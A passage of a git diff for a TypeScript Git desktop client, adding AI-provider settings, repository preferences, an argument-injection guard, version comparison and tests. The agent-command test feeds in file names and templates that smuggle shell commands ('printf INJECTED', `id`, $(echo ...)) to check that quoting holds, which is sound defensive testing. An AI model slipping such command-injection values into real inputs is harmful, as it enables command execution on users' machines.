AiUsageTotals extends AiUsage { + requests: number; +} + +export interface AiUsageMonth { + /** `YYYY-MM` (local time). */ + month: string; + features: Partial>; +} export type PullBehavior = 'git-config' | 'merge' | 'rebase'; export type UncommittedChangesStrategy = 'ask' | 'stash' | 'move'; export type UpdateChannel = 'stable' | 'beta'; export interface AiSettings { - /** Which backend performs AI conflict resolution. */ - provider: 'anthropic' | 'claude-cli' | 'disabled'; + /** Which backend performs AI features. 'openai-compatible' talks to any OpenAI-style `/chat/completions` server (see `openaiBaseUrl`). */ + provider: 'anthropic' | 'claude-cli' | 'openai-compatible' | 'disabled'; /** Anthropic model ID used by the API backend, or a model alias for the CLI backend. */ model: string; + /** Base URL of the OpenAI-compatible server including any version path, e.g. `https://api.openai.com/v1` or `http://localhost:11434/v1`. Portable. */ + openaiBaseUrl: string; + /** Model name sent to the OpenAI-compatible server. Portable. */ + openaiModel: string; + /** True when an OpenAI-compatible API key has been stored (the key itself never crosses IPC and is never exported). */ + hasOpenaiApiKey: boolean; + /** Optional per-feature model overrides; a missing/empty entry uses the global model of the active provider (see `modelFor`). */ + featureModels: Partial>; effort: EffortLevel; /** True when an API key has been stored (the key itself never crosses IPC). */ hasApiKey: boolean; @@ -96,6 +127,8 @@ export interface AppSettings { showUnpushedWorkIndicator: boolean; /** Verify commit signatures while loading History (adds %G?/%GS/%GK to the log format, which is slower on large histories). Default off. */ historyVerifySignatures: boolean; + /** Draw the commit graph (branch lanes) beside the History list. Only shown while no search/filter/file path narrows the list; hidden on phone layouts. */ + historyGraph: boolean; /** Poll GitHub notifications for the Inbox. Defaults to on once signed in; has no effect while signed out. */ notificationsEnabled: boolean; /** Minimum minutes between notification polls; the server's own X-Poll-Interval is honoured when it asks for longer. */ @@ -116,6 +149,8 @@ export interface AppSettings { * never leave the machine through a settings export or gist sync. */ watchedFolders: WatchedFolder[]; + /** Keyboard shortcut overrides by action id (an accelerator, or null = unbound); see `shared/shortcuts.ts`. Part of the portable preferences. */ + shortcuts: ShortcutOverrides; ai: AiSettings; } @@ -258,7 +293,22 @@ export interface RepositoryInfo { * hand keeps 'manual' even when a scan later finds it in a watched folder. */ origin?: 'manual' | 'watched'; -} + /** Machine-local "Disable AI for this repository" choice. Not part of a settings export. */ + aiDisabled?: boolean; + /** Set (not persisted) when the repository's `.gitgood/config.json` says `"ai": false`; filled in by `repo.open`. */ + aiConfigOff?: boolean; + /** Machine-local: pinned to the top of the repository list. */ + pinned?: boolean; + /** Machine-local custom group (shown before the owner groups in the repository list); absent/null = no custom group. */ + group?: string | null; + /** Machine-local: add a `Signed-off-by` trailer (`git commit --signoff`) to commits in this repository. */ + signoff?: boolean; + /** Machine-local: gh account used for this repository's gh calls and git network operations (token from `gh auth token --user`); absent = the host's active account. Never exported. */ + githubAccount?: { host: string; login: string }; +} + +/** Machine-local per-repository prefs `repos.setPrefs` accepts; only the keys present change (`githubAccount: null` returns to the host's active account). */ +export type RepoPrefs = Pick & { githubAccount?: RepositoryInfo['githubAccount'] | null }; /** `RepositoryInfo.origin` with the default applied: entries written before watched folders existed are manual. */ export function repositoryOrigin(repo: Pick): 'manual' | 'watched' { @@ -394,6 +444,31 @@ export interface InProgressOperation { message: string | null; } +/** One `git reflog` entry for HEAD, newest first; `index` is N in `HEAD@{N}`. `action` is the text before the first ": " (e.g. "commit (amend)", "checkout"), `message` the rest. */ +export interface ReflogEntry { + index: number; + sha: string; + action: string; + message: string; + /** Epoch ms. */ + timestamp: number; +} + +/** What "Undo last Git operation" would do: move HEAD back to `target` (reset --keep) or switch back to the previous branch/commit. */ +export type UndoPlan = { kind: 'reset'; description: string; target: ReflogEntry } | { kind: 'checkout'; description: string; ref: string; isBranch: boolean }; + +/** An in-progress `git bisect`. `remaining`/`steps` are null until both a good and a bad commit are known. */ +export interface BisectState { + bad: string | null; + good: string[]; + /** The commit currently checked out for testing. */ + head: { sha: string; summary: string } | null; + remaining: number | null; + steps: number | null; + /** Set once git has narrowed the range to a single commit. */ + firstBad: { sha: string; summary: string } | null; +} + export interface BranchState { name: string | null; sha: string | null; @@ -435,6 +510,13 @@ export interface Branch { upstreamGone: boolean; } +/** The current branch's stack of branches below it (oldest first); see getStackParents in src/main/git/branches.ts. */ +export interface BranchStack { + parents: string[]; + /** False when the installed git predates `rebase --update-refs` (2.38). */ + canUpdateRefs: boolean; +} + export interface Tag { name: string; sha: string; @@ -681,6 +763,8 @@ export interface PullRequest { changedFiles: number | null; mergeable: string | null; mergeStateStatus: string | null; + /** Auto-merge enabled on this pull request (gh `autoMergeRequest`); null when off or when gh does not report it. `method` is null if gh reports an unrecognised method. */ + autoMerge: { method: 'merge' | 'squash' | 'rebase' | null; enabledBy: string | null } | null; labels: string[]; assignees: string[]; reviewRequests: string[]; @@ -714,11 +798,25 @@ export interface GitHubAccount { protocol: string | null; } +/** One signed-in `gh` account (every host/login `gh auth status` lists); `active` is the account gh uses by default on that host. */ +export interface GhAccountEntry { + host: string; + login: string; + active: boolean; + scopes: string[]; + protocol: string | null; +} + export interface ToolInfo { installed: boolean; version: string | null; path: string | null; error: string | null; + /** Set when the installed version is below the supported minimum (still usable; the UI only warns). */ + outdated?: boolean; + minVersion?: string; + /** True until this tool's startup probe finishes (git is always settled before the first state is served); the UI shows "checking…" instead of "not found". */ + pending?: boolean; } export interface ToolsState { @@ -729,6 +827,8 @@ export interface ToolsState { gpg: ToolInfo; sshKeygen: ToolInfo; ghAccount: GitHubAccount | null; + /** Every signed-in gh account across hosts, active ones flagged; `ghAccount` is the primary active one with its profile. */ + ghAccounts: GhAccountEntry[]; ghAuthError: string | null; credentialHelperConfigured: boolean; } @@ -982,6 +1082,10 @@ export interface CommitOptions { partialPatches: Record; /** 'default' follows the repository's signing configuration; 'sign' forces -S; 'unsigned' forces --no-gpg-sign for this commit only (never persisted). */ signOverride?: 'default' | 'sign' | 'unsigned'; + /** `--signoff`: add a Signed-off-by trailer. */ + signoff?: boolean; + /** `--no-verify`: skip the pre-commit and commit-msg hooks for this commit only. */ + noVerify?: boolean; } // --------------------------------------------------------------------------- @@ -1107,6 +1211,16 @@ export interface CloneOptions { directory: string; /** Branch to check out after cloning, optional. */ branch: string | null; + /** Shallow clone with this many commits of history (`--depth`); null/absent = full history. */ + depth?: number | null; + /** Fetch only the history of one branch (`--single-branch`); a shallow clone (`depth`) already does. */ + singleBranch?: boolean; + /** Blobless partial clone (`--filter=blob:none`): file contents are fetched on demand. */ + blobless?: boolean; + /** Cone-mode sparse checkout: only these directories (plus top-level files) are checked out. */ + sparse?: string[]; + /** Clone submodules too (`--recurse-submodules`). Defaults to true when absent. */ + submodules?: boolean; } export interface NewRepositoryOptions { @@ -1380,6 +1494,8 @@ export interface PrDraft { truncated: boolean; /** True when the model's body did not preserve the template's headings and the body was rebuilt around them. */ restored: boolean; + /** Files left out of the request because they look like secrets (`path: reason`). */ + skipped: string[]; model: string; } @@ -1734,8 +1850,8 @@ export interface Housekeeping { export type SettingsSection = 'preferences' | 'repositories' | 'integrations'; -/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flag or the CLI path (both machine/secret specific). */ -export type PortableAiSettings = Pick; +/** Fields of AppSettings['ai'] that are safe to export: never the stored-key flags, the CLI path or the custom agent command (machine-specific or runs a shell command). API keys are never exported. */ +export type PortableAiSettings = Pick; /** * Explicit allowlist of AppSettings fields that may leave the machine (a @@ -1776,10 +1892,12 @@ export interface PortablePreferences { healthLargeFileThresholdBytes: number; showUnpushedWorkIndicator: boolean; historyVerifySignatures: boolean; + historyGraph: boolean; notificationsEnabled: boolean; notificationsPollIntervalMinutes: number; notifyMentions: boolean; notifyReviewRequests: boolean; + shortcuts: ShortcutOverrides; ai: PortableAiSettings; } @@ -1875,6 +1993,7 @@ export const DEFAULT_SETTINGS: AppSettings = { healthLargeFileThresholdBytes: 5 * 1024 * 1024, showUnpushedWorkIndicator: false, historyVerifySignatures: false, + historyGraph: true, notificationsEnabled: true, notificationsPollIntervalMinutes: 2, notifyMentions: true, @@ -1883,11 +2002,16 @@ export const DEFAULT_SETTINGS: AppSettings = { autoDownloadUpdates: true, updateChannel: 'stable', watchedFolders: [], + shortcuts: {}, ai: { provider: 'anthropic', model: 'claude-opus-5', effort: 'high', hasApiKey: false, + openaiBaseUrl: '', + openaiModel: '', + hasOpenaiApiKey: false, + featureModels: {}, claudeCliPath: null, autoStageAfterResolve: true, reviewStrictness: 'strict', diff --git a/src/shared/util.ts b/src/shared/util.ts index fe1950f..0d1f55a 100644 --- a/src/shared/util.ts +++ b/src/shared/util.ts @@ -326,6 +326,17 @@ export function isValidBranchName(name: string): boolean { return true; } +/** Main-process guard: git parses a ref/branch/tag/remote/sha argument that starts with "-" as an option. Never fix this with `--` (it would turn a checkout target into a pathspec). */ +export function assertNotOption(...values: (string | null | undefined)[]): void { + const bad = values.find((v) => v?.startsWith('-')); + if (bad) throw new Error(`"${bad}" is not a valid ref or name: it must not start with "-".`); +} + +/** For a branch or tag name about to be created or renamed to. */ +export function assertNewBranchName(name: string): void { + if (!isValidBranchName(name)) throw new Error(`"${name}" is not a valid branch or tag name.`); +} + export function compareStrings(a: string, b: string): number { return a.localeCompare(b, undefined, { sensitivity: 'base', numeric: true }); } @@ -563,6 +574,9 @@ export function explanationToMarkdown(explanation: Explanation, target: ExplainT /** AI-drafted footer appended to a pull request body only at create time (see the ai-pr-description spec's "Attribution and no automatic submission"). */ export const PR_DRAFT_FOOTER = '_Drafted with AI in GitGood; reviewed before creating._'; +/** Oldest git/gh the app supports (README requirements); older tools still run, they're only flagged (see src/main/tools.ts). */ +export const MIN_TOOL_VERSIONS = { git: '2.30.0', gh: '2.40.0' } as const; + /** AI-drafted footer appended to a release body only when it is published to GitHub (see the add-ai-release-notes spec). */ export const RELEASE_NOTES_FOOTER = '_Drafted with AI in GitGood; reviewed before publishing._'; @@ -613,3 +627,45 @@ export function suggestNextPatchVersion(tag: string): string | null { const [, prefix, major, minor, patch] = m; return `${prefix ?? ''}${major}.${minor}.${parseInt(patch, 10) + 1}`; } + +// --------------------------------------------------------------------------- +// Semver comparison +// --------------------------------------------------------------------------- + +interface ParsedVersion { + parts: number[]; + prerelease: string | null; +} + +/** Strips a leading "v"/"V" (as in git tags like "v1.2.3") before parsing. */ +function parseVersion(raw: string): ParsedVersion { + const cleaned = raw.trim().replace(/^v/i, ''); + const [core, ...rest] = cleaned.split('-'); + const parts = core.split('.').map((p) => { + const n = parseInt(p, 10); + return Number.isFinite(n) ? n : 0; + }); + return { parts, prerelease: rest.length ? rest.join('-') : null }; +} + +/** + * Compares two version strings (with an optional leading "v" and an + * optional "-prerelease" suffix), returning -1/0/1 like Array.prototype.sort + * comparators. Numeric parts compare numerically (so "1.9.0" < "1.10.0"); + * a version with a prerelease suffix sorts before its release (per semver + * precedence rules), and otherwise prerelease suffixes compare as strings. + */ +export function compareVersions(a: string, b: string): number { + const pa = parseVersion(a); + const pb = parseVersion(b); + const len = Math.max(pa.parts.length, pb.parts.length); + for (let i = 0; i < len; i++) { + const na = pa.parts[i] ?? 0; + const nb = pb.parts[i] ?? 0; + if (na !== nb) return na < nb ? -1 : 1; + } + if (pa.prerelease === pb.prerelease) return 0; + if (pa.prerelease === null) return 1; // a is a release, b is a prerelease of the same core version: a is newer + if (pb.prerelease === null) return -1; + return pa.prerelease < pb.prerelease ? -1 : 1; +} diff --git a/test/agent-plugin.test.ts b/test/agent-plugin.test.ts index 02e13f6..d551864 100644 --- a/test/agent-plugin.test.ts +++ b/test/agent-plugin.test.ts @@ -85,7 +85,7 @@ describe.skipIf(!hasGitSync() || isWindows)('session-start.sh', () => { if (withExport) { const dir = join(root, '.git', 'gitgood', 'review'); await mkdir(dir, { recursive: true }); - await writeFile(join(dir, 'latest.json'), serializeExport(buildExportJson(run(root), null, 'linux')), 'utf8'); + await writeFile(join(dir, 'latest.json'), serializeExport(buildExportJson(run(root), null, 'linux', 'tok123')), 'utf8'); } return root; } diff --git a/test/agent-presets.test.ts b/test/agent-presets.test.ts index 249f0c0..02d4809 100644 --- a/test/agent-presets.test.ts +++ b/test/agent-presets.test.ts @@ -1,41 +1,33 @@ +import { execFileSync } from 'node:child_process'; import { describe, expect, it } from 'vitest'; -import { AGENT_PRESETS, agentTemplate, escapePathForTemplate, expandAgentCommand, validateAgentTemplate } from '../src/shared/agent-presets'; +import { AGENT_PRESETS, expandAgentCommand, validateAgentTemplate, type CommandQuoting } from '../src/shared/agent-presets'; -describe('agent presets', () => { - it('offers Claude Code, Codex and omp, each with a {file} placeholder inside a quoted prompt', () => { - expect(AGENT_PRESETS.map((p) => p.id)).toEqual(['claude', 'codex', 'omp']); - for (const p of AGENT_PRESETS) { - expect(p.template.startsWith(`${p.binary} "`)).toBe(true); - expect(p.template).toContain('{file}'); - expect(p.template).toContain('Do not commit'); +describe('agent command safety', () => { + it.each(['posix', 'powershell', 'cmd'])('accepts literal quoted prompts for %s', (quoting) => { + for (const { template } of AGENT_PRESETS) expect(validateAgentTemplate(template, quoting)).toBeNull(); + expect(validateAgentTemplate('agent "Read {file}" --also "{file}"', quoting)).toBeNull(); + expect(validateAgentTemplate('agent "it\'s {file}"', quoting)).toBeNull(); + for (const bad of ['', 'agent "no path"', 'agent {file}', "agent '{file}'", 'agent "{file}" {file}', 'agent "{file}']) { + expect(validateAgentTemplate(bad, quoting)).not.toBeNull(); } }); - it('agentTemplate returns the preset or the custom text', () => { - expect(agentTemplate({ agentCommand: 'codex', agentCustomCommand: '' })).toBe(AGENT_PRESETS[1].template); - expect(agentTemplate({ agentCommand: 'custom', agentCustomCommand: 'aider --file {file}' })).toBe('aider --file {file}'); + it.each<[CommandQuoting, string]>([ + ['posix', String.raw`agent \"{file}\"`], + ['posix', String.raw`agent \{file}`], + ['powershell', 'agent `"{file}`"'], + ['cmd', 'agent ^"{file}^"'], + ['posix', 'agent "$(echo {file})"'], + ['powershell', 'agent "$(Write-Output {file})"'], + ['posix', 'agent "`echo {file}`"'], + ])('refuses ambiguous placeholder scope in %s: %s', (quoting, template) => { + expect(validateAgentTemplate(template, quoting)).not.toBeNull(); + expect(() => expandAgentCommand(template, '/tmp/name;printf INJECTED;#', quoting)).toThrow(); }); - it('validateAgentTemplate requires {file}', () => { - expect(validateAgentTemplate('claude "fix {file}"')).toBeNull(); - expect(validateAgentTemplate('claude "fix it"')).toBe('The command must contain {file}'); - expect(validateAgentTemplate(' ')).toBe('Enter the command to run.'); - }); - - it('escapes what each shell would expand inside the double-quoted prompt', () => { - const plain = '/home/dev/my app/.git/gitgood/review/latest.md'; - for (const q of ['posix', 'powershell', 'cmd'] as const) expect(escapePathForTemplate(plain, q)).toBe(plain); - // POSIX: backslash is the escape character, and $ and backtick expand. - expect(escapePathForTemplate('/tmp/a"b$c`d\\e', 'posix')).toBe('/tmp/a\\"b\\$c\\`d\\\\e'); - // PowerShell: backtick is the escape character; a backslash is an ordinary path character. - expect(escapePathForTemplate('C:\\dev\\$work\\a`b\\latest.md', 'powershell')).toBe('C:\\dev\\`$work\\a``b\\latest.md'); - // cmd.exe: no escape character inside quotes; %VAR% is stopped by doubling the percent. - expect(escapePathForTemplate('C:\\dev\\100%%done\\latest.md'.replace('%%', '%'), 'cmd')).toBe('C:\\dev\\100%%done\\latest.md'); - expect(escapePathForTemplate('C:\\dev\\$work\\latest.md', 'cmd')).toBe('C:\\dev\\$work\\latest.md'); - }); - - it('expandAgentCommand replaces every placeholder', () => { - expect(expandAgentCommand('x {file} y {file}', '/p q', 'posix')).toBe('x /p q y /p q'); - expect(expandAgentCommand(AGENT_PRESETS[0].template, 'C:\\r\\latest.md', 'cmd')).toBe('claude "Read the file C:\\r\\latest.md and fix every finding it lists, following its instructions. Do not commit."'); + it.skipIf(process.platform === 'win32')('hands hostile POSIX filenames to the agent as one unchanged argument', () => { + const file = '/tmp/repo space;printf INJECTED;#/$HOME/`id`/a"b\\c/latest.md'; + const command = expandAgentCommand('printf \'%s\\n\' "{file}"', file, 'posix'); + expect(execFileSync('/bin/sh', ['-c', command], { encoding: 'utf8' })).toBe(file + '\n'); }); }); diff --git a/test/ai-client-jobs.test.ts b/test/ai-client-jobs.test.ts new file mode 100644 index 0000000..a252635 --- /dev/null +++ b/test/ai-client-jobs.test.ts @@ -0,0 +1,203 @@ +import { mkdtemp, rm } from 'node:fs/promises'; +import { createServer, type Server, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { ConflictResolver } from '../src/main/ai/resolver'; +import { ErrorExplainService } from '../src/main/ai/error-explain'; +import { ReviewService } from '../src/main/ai/review'; +import { clientContext } from '../src/main/core/client-context'; +import { GitClient } from '../src/main/git/git'; +import type { GhClient } from '../src/main/gh/gh'; +import type { RepositoryManager } from '../src/main/repo/manager'; +import type { Store } from '../src/main/store'; +import { DEFAULT_SETTINGS, type AppSettings, type GitErrorInfo } from '../src/shared/types'; +import { createRepo, hasGitSync } from './helpers/repo'; + +/** One request the stub received and has not answered yet; `aborted` flips when the client hangs up before an answer. */ +interface Held { + res: ServerResponse; + aborted: boolean; +} + +let server: Server; +let base: string; +let held: Held[]; +/** When set, requests are answered with REVIEW_REPLY on arrival instead of being held. */ +let auto: boolean; +const REVIEW_REPLY = { findings: [], fileSummary: 'x', summary: 'ok', verdict: 'approve' }; + +beforeEach(async () => { + held = []; + auto = false; + server = createServer((incoming, res) => { + const entry: Held = { res, aborted: false }; + res.on('close', () => { + if (!res.writableEnded) entry.aborted = true; + }); + incoming.resume(); + held.push(entry); + if (auto) answer(entry, REVIEW_REPLY); + }); + await new Promise((r) => server.listen(0, '127.0.0.1', r)); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}/v1/`; +}); +afterEach(async () => { + for (const h of held) h.res.destroy(); + await new Promise((r) => server.close(() => r())); +}); + +const answer = (h: Held, content: unknown, status = 200) => { + h.res.writeHead(status, { 'content-type': 'application/json' }); + h.res.end(JSON.stringify({ model: 'stub', choices: [{ message: { content: JSON.stringify(content) }, finish_reason: 'stop' }] })); +}; +const received = async (n: number) => { + for (let i = 0; i < 400 && held.length < n; i++) await new Promise((r) => setTimeout(r, 10)); + expect(held.length).toBeGreaterThanOrEqual(n); +}; +const settle = () => new Promise((r) => setTimeout(r, 50)); + +const store = (): Store => { + const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, provider: 'openai-compatible', openaiBaseUrl: base, openaiModel: 'stub' } }; + return { getSettings: () => settings, getOpenaiApiKey: () => null } as unknown as Store; +}; + +const ERROR: GitErrorInfo = { message: 'boom', command: 'git push', exitCode: 1, stderr: 'boom', stdout: '', code: 'unknown' }; +const EXPLANATION = { whatHappened: 'It failed.', likelyCause: 'Because.', fixes: [] }; + +describe('ErrorExplainService jobs per client', () => { + // repoPath null skips every git call; tools.current() is only read for git.version / gh.installed. + const service = () => { + const tools = { current: () => ({ git: { version: '2.0.0' }, gh: { installed: false, version: null } }), ensure: async () => undefined } as never; + return new ErrorExplainService(store(), tools, null as never); + }; + const as = (client: string, fn: () => T) => clientContext.run(client, fn); + + it("one client's cancel leaves another client's request running; isActive covers both until each finishes", async () => { + const svc = service(); + const a = as('a', () => svc.explainError(null, ERROR, false)); + const b = as('b', () => svc.explainError(null, ERROR, false)); + await received(2); + expect(held.map((h) => h.aborted)).toEqual([false, false]); + + const aRejected = expect(a).rejects.toMatchObject({ kind: 'cancelled' }); + as('a', () => svc.cancel()); + await aRejected; + await settle(); + expect(held.map((h) => h.aborted)).toEqual([true, false]); + expect(svc.isActive()).toBe(true); // B is still outstanding + + answer(held[1], EXPLANATION); + expect((await b).whatHappened).toBe('It failed.'); + expect(svc.isActive()).toBe(false); + }); + + it('keeps isActive true until the slower client finishes when the other one finishes first', async () => { + const svc = service(); + const a = as('a', () => svc.explainError(null, ERROR, false)); + const b = as('b', () => svc.explainError(null, ERROR, false)); + await received(2); + + answer(held[1], EXPLANATION); + await b; + expect(svc.isActive()).toBe(true); + expect(held[0].aborted).toBe(false); + + answer(held[0], EXPLANATION); + await a; + expect(svc.isActive()).toBe(false); + }); + + it("a client's new request replaces its own earlier one and only the new one can be cancelled afterwards", async () => { + const svc = service(); + const first = as('a', () => svc.explainError(null, ERROR, false)); + await received(1); + const second = as('a', () => svc.explainError(null, ERROR, false)); + const firstRejected = expect(first).rejects.toMatchObject({ kind: 'cancelled' }); + await received(2); + await firstRejected; + expect(held.map((h) => h.aborted)).toEqual([true, false]); + expect(svc.isActive()).toBe(true); // the replacement is still running + + as('a', () => svc.cancel()); + await expect(second).rejects.toMatchObject({ kind: 'cancelled' }); + expect(svc.isActive()).toBe(false); + }); + + it('a client without a job cannot cancel anyone else, and a failed request leaves nothing active', async () => { + const svc = service(); + const a = as('a', () => svc.explainError(null, ERROR, false)); + await received(1); + as('b', () => svc.cancel()); + await settle(); + expect(held[0].aborted).toBe(false); + + answer(held[0], { error: { message: 'nope' } }, 500); + await expect(a).rejects.toThrow(); + expect(svc.isActive()).toBe(false); + }); +}); + +describe.skipIf(!hasGitSync())('ReviewService.startWorktree jobs per client', () => { + it("another client's start does not abort a running review, cancel only stops the caller's, and the survivor completes", async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'src/app.ts': 'export const a = 1;\n' } }] }); + const userDataDir = await mkdtemp(join(tmpdir(), 'gg-review-jobs-')); + try { + await repo.write('src/app.ts', 'export const a = 2;\nexport const b = 3;\n'); + const git = new GitClient(repo.tools()); + const repos = { getByPath: () => null } as unknown as RepositoryManager; + const svc = new ReviewService(store(), repo.tools(), git, null as unknown as GhClient, repos, userDataDir); + const opts = { files: ['src/app.ts'], partialPatches: {}, summary: 'Update app', description: '', amend: false }; + const start = (client: string) => clientContext.run(client, () => svc.startWorktree(repo.path, opts, () => undefined)); + + const a = start('a'); + await received(1); + const b = start('b'); + await received(2); + expect(held.map((h) => h.aborted)).toEqual([false, false]); + + clientContext.run('a', () => svc.cancel()); + expect((await a).cancelled).toBe(true); + expect(held[1].aborted).toBe(false); + expect(svc.isActive()).toBe(true); + + // B is still alive: answer its pending request and every later one (per-file review, then summary) until it finishes. + auto = true; + held.forEach((h, i) => i && !h.res.writableEnded && answer(h, REVIEW_REPLY)); + const finished = b; + const run = await finished; + expect(run.cancelled).toBe(false); + expect(svc.isActive()).toBe(false); + } finally { + await rm(userDataDir, { recursive: true, force: true }); + await repo.dispose(); + } + }); +}); + +describe.skipIf(!hasGitSync())('ConflictResolver jobs', () => { + it('commit-message generation is isolated from conflict resolution, and a finished resolve leaves nothing active', async () => { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'a.txt': 'one\n' } }] }); + try { + await repo.write('a.txt', 'two\n'); + const svc = new ConflictResolver(store(), repo.tools(), new GitClient(repo.tools())); + const message = svc.commitMessage(repo.path, ['a.txt']); + await received(1); + + svc.cancel('resolver'); // a conflict-resolution cancel must not touch the commit message request + await settle(); + expect(held[0].aborted).toBe(false); + expect(svc.isActive()).toBe(true); + + answer(held[0], { summary: 'Update a', description: '' }); + expect((await message).summary).toBe('Update a'); + expect(svc.isActive()).toBe(false); + + await svc.resolve(repo.path, 'a.txt', () => undefined).catch(() => undefined); + expect(svc.isActive()).toBe(false); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/ai-model.test.ts b/test/ai-model.test.ts new file mode 100644 index 0000000..13389a7 --- /dev/null +++ b/test/ai-model.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, it } from 'vitest'; +import { aiEnabled, modelFor, repoAiDisabled } from '../src/shared/ai-model'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; + +const ai = { ...DEFAULT_SETTINGS.ai, model: 'claude-opus-5', openaiModel: 'gpt-x' }; + +describe('modelFor', () => { + it('uses the global model when a feature has no override or a blank one', () => { + expect(modelFor(ai, 'review')).toBe('claude-opus-5'); + expect(modelFor({ ...ai, featureModels: { review: ' ' } }, 'review')).toBe('claude-opus-5'); + }); + + it('uses the feature override, only for that feature', () => { + const settings = { ...ai, featureModels: { commitMessage: 'claude-haiku-4-5' } }; + expect(modelFor(settings, 'commitMessage')).toBe('claude-haiku-4-5'); + expect(modelFor(settings, 'review')).toBe('claude-opus-5'); + }); + + it('falls back to the OpenAI-compatible model on that provider', () => { + expect(modelFor({ ...ai, provider: 'openai-compatible' }, 'explain')).toBe('gpt-x'); + expect(modelFor({ ...ai, provider: 'openai-compatible', featureModels: { explain: 'small' } }, 'explain')).toBe('small'); + }); +}); + +describe('per-repository AI opt-out', () => { + it('is off for either the local toggle or the config-file flag', () => { + expect(repoAiDisabled({ aiDisabled: true })).toBe(true); + expect(repoAiDisabled({ aiConfigOff: true })).toBe(true); + expect(repoAiDisabled({})).toBe(false); + expect(repoAiDisabled(null)).toBe(false); + }); + + it('aiEnabled needs a provider and an opted-in repository', () => { + expect(aiEnabled({ ai }, { })).toBe(true); + expect(aiEnabled({ ai }, { aiDisabled: true })).toBe(false); + expect(aiEnabled({ ai: { ...ai, provider: 'disabled' } }, {})).toBe(false); + expect(aiEnabled(null, {})).toBe(false); + }); +}); diff --git a/test/ai-usage-cancel.test.ts b/test/ai-usage-cancel.test.ts new file mode 100644 index 0000000..6bd4734 --- /dev/null +++ b/test/ai-usage-cancel.test.ts @@ -0,0 +1,131 @@ +import { mkdir, mkdtemp, readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { buildAnthropicParams } from '../src/main/ai/backends'; +import { addUsage, configureUsage, readUsage, recordUsage, type UsageLog } from '../src/main/ai/usage'; +import { writeRepoFile } from '../src/main/repo/paths'; +import { createHandlers, type HandlerDeps } from '../src/main/core/handlers'; + +const u = (input: number, output: number, cacheRead = 0, cacheWrite = 0, costUsd: number | null = null) => ({ inputTokens: input, outputTokens: output, cacheReadTokens: cacheRead, cacheWriteTokens: cacheWrite, costUsd }); + +describe('addUsage', () => { + it('merges per month and feature, and keeps cost null until a backend reports one', () => { + let log: UsageLog = {}; + log = addUsage(log, '2026-10', 'review', u(100, 10, 50, 5)); + log = addUsage(log, '2026-10', 'review', u(200, 20, 0, 0)); + log = addUsage(log, '2026-10', 'explain', u(1, 1)); + log = addUsage(log, '2026-09', 'review', u(7, 7, 0, 0, 0.5)); + expect(log['2026-10']?.review).toEqual({ requests: 2, inputTokens: 300, outputTokens: 30, cacheReadTokens: 50, cacheWriteTokens: 5, costUsd: null }); + expect(log['2026-10']?.explain?.requests).toBe(1); + expect(log['2026-09']?.review?.costUsd).toBe(0.5); + log = addUsage(log, '2026-09', 'review', u(1, 1)); // a later request without a reported cost does not erase the sum + expect(log['2026-09']?.review).toMatchObject({ requests: 2, costUsd: 0.5 }); + }); +}); + +describe('usage file', () => { + let dir: string; + beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gg-usage-')); + configureUsage(dir); + }); + afterEach(() => rm(dir, { recursive: true, force: true })); + + it('accumulates across calls, reports this and last month, and ignores requests without usage', async () => { + const now = new Date(2026, 0, 15); + await recordUsage('review', u(10, 1), new Date(2025, 11, 31)); + await recordUsage('review', u(20, 2), now); + await recordUsage('review', u(5, 5), now); + await recordUsage('triage', undefined, now); + const [thisMonth, lastMonth] = await readUsage(now); + expect(thisMonth).toMatchObject({ month: '2026-01', features: { review: { requests: 2, inputTokens: 25 } } }); + expect(Object.keys(thisMonth.features)).toEqual(['review']); + expect(lastMonth).toMatchObject({ month: '2025-12', features: { review: { requests: 1, inputTokens: 10 } } }); + expect(JSON.parse(await readFile(join(dir, 'ai-usage.json'), 'utf8'))['2026-01'].review.requests).toBe(2); + }); +}); + +describe('buildAnthropicParams', () => { + const base = { system: 'sys', prompt: 'file part', schema: {}, model: 'claude-sonnet-4-5', effort: 'medium' as const }; + + it('marks the system prompt for caching', () => { + const p = buildAnthropicParams(base); + expect(p.system).toEqual([{ type: 'text', text: 'sys', cache_control: { type: 'ephemeral' } }]); + expect(p.messages[0].content).toBe('file part'); + }); + + it('sends the shared context as a cached leading block before the per-file part, keeping the text identical', () => { + const p = buildAnthropicParams({ ...base, sharedPrompt: 'PR context' }); + const content = p.messages[0].content as { text: string; cache_control?: unknown }[]; + expect(content.map((b) => b.text).join('')).toBe('PR context\n\nfile part'); + expect(content[0].cache_control).toEqual({ type: 'ephemeral' }); + expect(content[1].cache_control).toBeUndefined(); + }); +}); + +describe('ai.cancel', () => { + const services = () => ({ + resolver: { cancel: vi.fn() }, + review: { cancel: vi.fn() }, + splitter: { cancel: vi.fn() }, + triage: { cancel: vi.fn() }, + prDraft: { cancel: vi.fn() }, + rebasePlan: { cancel: vi.fn() }, + releaseNotes: { cancel: vi.fn() }, + explain: { cancel: vi.fn() }, + errorExplain: { cancel: vi.fn() }, + nlPalette: { cancel: vi.fn(), setDispatcher: () => undefined }, + }); + + it('cancels only the named feature', async () => { + const deps = services(); + const { handlers } = createHandlers(deps as unknown as HandlerDeps); + await handlers['ai.cancel']('triage'); + await handlers['ai.cancel']('commitMessage'); + expect(deps.triage.cancel).toHaveBeenCalledTimes(1); + expect(deps.resolver.cancel).toHaveBeenCalledWith('commitMessage'); + expect(deps.review.cancel).not.toHaveBeenCalled(); + expect(deps.explain.cancel).not.toHaveBeenCalled(); + expect(deps.nlPalette.cancel).not.toHaveBeenCalled(); + }); +}); + +describe.skipIf(process.platform === 'win32')('writeRepoFile', () => { + it('writes inside the repo but never through a symlink that points outside', async () => { + const dir = await mkdtemp(join(tmpdir(), 'gg-write-')); + try { + const repo = join(dir, 'repo'); + const outside = join(dir, 'outside.txt'); + await mkdir(join(repo, 'sub'), { recursive: true }); + 